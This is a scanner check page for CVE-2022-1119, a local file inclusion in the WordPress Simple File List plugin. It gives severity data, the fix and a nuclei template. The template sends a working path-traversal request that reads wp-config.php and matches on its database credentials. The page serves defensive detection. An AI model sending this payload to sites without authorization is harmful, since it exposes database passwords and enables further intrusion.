WordPress Simple File List <3.2.8 - Local File Inclusion

highseverity

7.5CVSS score

17.5%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

WordPress Simple File List before 3.2.8 is vulnerable to local file inclusion via the eeFile parameter in the ~/includes/ee-downloader.php due to missing controls which make it possible for unauthenticated attackers retrieve arbitrary files.

Impact

An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to further compromise.

Fix

Update WordPress Simple File List to version 3.2.8 or later to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/simple-file-list/includes/ee-downloader.php?eeFile=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/wp-config.php
Positive when: contains "DB_NAME" and "DB_PASSWORD" AND status 200

Run it with nuclei: nuclei -id CVE-2022-1119 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2022-1119

info:
  name: WordPress Simple File List <3.2.8 - Local File Inclusion
  author: random-robbie
  severity: high
  description: |
    WordPress Simple File List before 3.2.8 is vulnerable to local file inclusion via the eeFile parameter in the ~/includes/ee-downloader.php due to missing controls which make it possible for unauthenticated attackers retrieve arbitrary files.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to further compromise.
  remediation: |
    Update WordPress Simple File List to version 3.2.8 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/5551038f-64fb-44d8-bea0-d2f00f04877e
    - https://wpscan.com/vulnerability/075a3cc5-1970-4b64-a16f-3ec97e22b606
    - https://plugins.trac.wordpress.org/browser/simple-file-list/trunk/includes/ee-downloader.php?rev=2071880
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1119
    - https://www.wordfence.com/vulnerability-advisories/#CVE-2022-1119
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-1119
    cwe-id: CWE-22
    epss-score: 0.17487
    epss-percentile: 0.97156
    cpe: cpe:2.3:a:simplefilelist:simple-file-list:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: simplefilelist
    product: simple-file-list
    framework: wordpress
  tags: cve,cve2022,wp,wp-plugin,wpscan,lfi,wordpress,simplefilelist,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/simple-file-list/includes/ee-downloader.php?eeFile=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/wp-config.php"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        condition: and

      - type: status
        status:
          - 200

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